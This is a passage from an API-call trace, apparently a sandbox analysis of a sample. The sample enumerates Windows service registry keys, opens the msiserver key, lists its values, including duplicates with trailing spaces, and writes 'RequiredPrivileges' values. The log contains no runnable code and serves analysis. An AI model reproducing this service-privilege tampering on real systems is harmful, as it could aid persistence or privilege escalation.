RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0253.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0253.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0253.808] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0253.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0253.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0253.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0253.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0253.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0253.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0253.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0253.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0253.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0253.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0253.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0253.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0253.809] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0253.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0253.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0253.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0253.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0253.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0253.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0253.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0253.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0253.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0253.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0253.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0253.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0253.810] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0253.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0253.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0253.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0253.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0253.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0253.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0253.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0253.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0253.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0253.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0253.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0253.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0253.811] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0253.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0253.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0253.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0253.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0253.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0253.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0253.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0253.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0253.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0253.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0253.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0253.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0253.812] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0253.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0253.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0253.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0253.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0253.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0253.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0253.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0253.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0253.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0253.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0253.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0253.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0253.813] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0253.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0253.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0253.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0253.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0253.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0253.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0253.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0253.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0253.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0253.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0253.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0253.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0253.814] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0253.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0253.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0253.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0253.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0253.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0253.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0253.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0253.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0253.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0253.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0253.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0253.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0253.815] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0253.816] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0253.816] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0253.816] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0253.816] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.816] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0253.816] RegCloseKey (hKey=0xc4) returned 0x0 [0253.816] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.816] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.816] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.816] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.816] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.816] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.816] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0253.816] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.817] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.817] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.817] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.817] RegCloseKey (hKey=0x148) returned 0x0 [0253.817] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.817] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.818] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.818] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0253.818] RegCloseKey (hKey=0xc4) returned 0x0 [0253.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0253.818] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0253.819] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0253.819] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.819] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.819] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.819] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.819] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.819] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.819] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.819] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.819] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.819] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.820] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.820] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.820] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.820] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.820] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.820] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0253.820] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.820] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.820] RegSetValueExA (in: hKey=0xc4, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0253.821] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0253.821] RegEnumValueA (in: hKey=0x14c, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.821] RegEnumValueA (in: hKey=0x14c, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.821] RegEnumValueA (in: hKey=0x14c, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.821] RegEnumValueA (in: hKey=0x14c, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.821] RegEnumValueA (in: hKey=0x14c, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.821] RegEnumValueA (in: hKey=0x14c, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.821] RegEnumValueA (in: hKey=0x14c, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.821] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.821] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.821] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.822] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0253.822] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, 